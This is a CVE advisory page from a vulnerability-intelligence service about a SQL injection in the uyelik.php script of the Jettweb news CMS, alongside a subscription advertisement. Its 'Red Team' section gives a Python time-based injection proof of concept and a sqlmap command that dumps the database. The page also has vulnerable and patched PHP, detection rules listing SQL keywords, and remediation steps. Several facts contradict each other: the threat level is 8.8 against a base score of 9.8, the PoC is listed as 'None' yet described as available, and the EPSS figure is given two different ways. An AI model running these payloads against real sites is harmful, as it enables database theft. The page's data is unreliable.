☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25519

CVE-2019-25519 SQL Injection in Jettweb
📅 PUBLISHED: 2026-03-12 15:36 UTC 🔄 UPDATED: 2026-09-23 20:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25519 is a critical SQL injection vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V1, a content management system for news websites. The flaw exists in the option parameter of the uyelik.php endpoint, allowing unauthenticated attackers to inject arbitrary SQL commands via POST requests. This enables time-based blind SQL injection attacks, leading to full database compromise, including extraction of user credentials, session tokens, and other sensitive data. The vendor has not released a patch, and the software is considered end-of-life. The vulnerability is publicly documented with proof-of-concept code available, posing a high risk to any remaining installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP application with no known package manager dependencies.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is trivially exploitable by any remote attacker without authentication, making it a critical threat. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but this is likely due to the software's obscurity rather than the severity of the flaw.

Deep Dive & Mechanics

The vulnerability resides in the uyelik.php script, which handles user registration and profile updates. The option parameter is directly concatenated into SQL queries without sanitization or parameterization. An attacker can send a POST request with a crafted option value containing SQL injection payloads. Because the application does not display database errors, time-based blind injection techniques (e.g., SLEEP(), BENCHMARK()) are used to infer data bit by bit.

Example vulnerable code snippet (conceptual):

$option = $_POST['option'];
$query = "SELECT * FROM users WHERE option = '$option'";
$result = mysqli_query($conn, $query);

The attacker can manipulate the query to extract data from other tables, such as admin_users or config, by injecting UNION-based or time-based payloads.

Vulnerable vs. Patched Code

Vulnerable Code (uyelik.php):

<?php
$option = $_POST['option'];
$sql = "SELECT * FROM users WHERE option = '$option'";
$result = mysqli_query($conn, $sql);
?>

Patched Code (hypothetical):

<?php
$option = mysqli_real_escape_string($conn, $_POST['option']);
$sql = "SELECT * FROM users WHERE option = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "s", $option);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

No official patch exists. The above demonstrates the correct mitigation using prepared statements.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (Python):

import requests
import time

target = "http://target.com/uyelik.php"
payload = "' OR IF(1=1, SLEEP(5), 0) -- -"

data = {"option": payload}
start = time.time()
response = requests.post(target, data=data)
end = time.time()

if end - start >= 5:
    print("[+] Time-based injection confirmed!")
else:
    print("[-] Injection failed.")

Manual SQLMap Command:

sqlmap -u "http://target.com/uyelik.php" --data="option=test" --technique=T --dbms=mysql --batch --dump

Lab Setup:

  1. Deploy a vulnerable instance of Jettweb PHP Hazir Haber Sitesi Scripti V1 on a local LAMP stack.
  2. Use Burp Suite or OWASP ZAP to intercept and modify POST requests.
  3. Execute the Python PoC to confirm time delays.
  4. Use SQLMap to automate data extraction.

Blue Team (Defensive)

Detection Strategy:

  • Monitor for POST requests to /uyelik.php with unusual option parameters containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION, SELECT).
  • Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
  • Enable detailed logging of all SQL queries and user input.

Honeypot Setup:

  • Deploy a decoy instance of the vulnerable script and monitor for exploitation attempts.
  • Log all POST data and source IPs for threat intelligence.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /uyelik.php with option parameter containing SQL keywords.
    • HTTP responses with unusual timing (e.g., >5 seconds delay).
    • Source IPs scanning for Jettweb installations.
  • File IOCs:

    • Modified uyelik.php file with injected backdoor code.
    • Suspicious entries in MySQL logs (e.g., SLEEP(5) in queries).
  • Behavioral IOCs:

    • Unauthorized database queries from the web server.
    • Exfiltration of data via HTTP responses.

Detection Engineering

YARA Rule

rule CVE_2019_25519_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Jettweb uyelik.php option parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25519"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $benchmark = /BENCHMARK\s*\(\s*\d+\s*,/ nocase
        $union = /UNION\s+SELECT/i
        $or_1_1 = /' OR '1'='1/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2019-25519 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Jettweb uyelik.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/uyelik.php'
        cs-uri-query|contains: 
            - 'SLEEP'
            - 'BENCHMARK'
            - 'UNION'
            - "' OR '1'='1"
    condition: selection
falsepositives:
    - Legitimate use of the word "SLEEP" in a comment field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25519 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/uyelik.php"; http_uri; content:"option="; http_client_body; pcre:"/(SLEEP|BENCHMARK|UNION|' OR '1'='1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or remove the uyelik.php script if not required. If the application is in use, migrate to a supported CMS immediately.
  2. Code Fix: Replace all dynamic SQL queries with prepared statements or parameterized queries. Use an ORM like Doctrine or Eloquent.
  3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection patterns.
  4. Input Validation: Implement strict input validation and whitelist allowed values for the option parameter.
  5. Network Segmentation: Isolate the web server from critical database servers.
  6. Monitoring: Enable detailed logging and set up alerts for SQL injection attempts.
  7. Vendor Contact: Attempt to contact Jettweb for a patch; if unresponsive, consider legal action or public disclosure.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25519/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.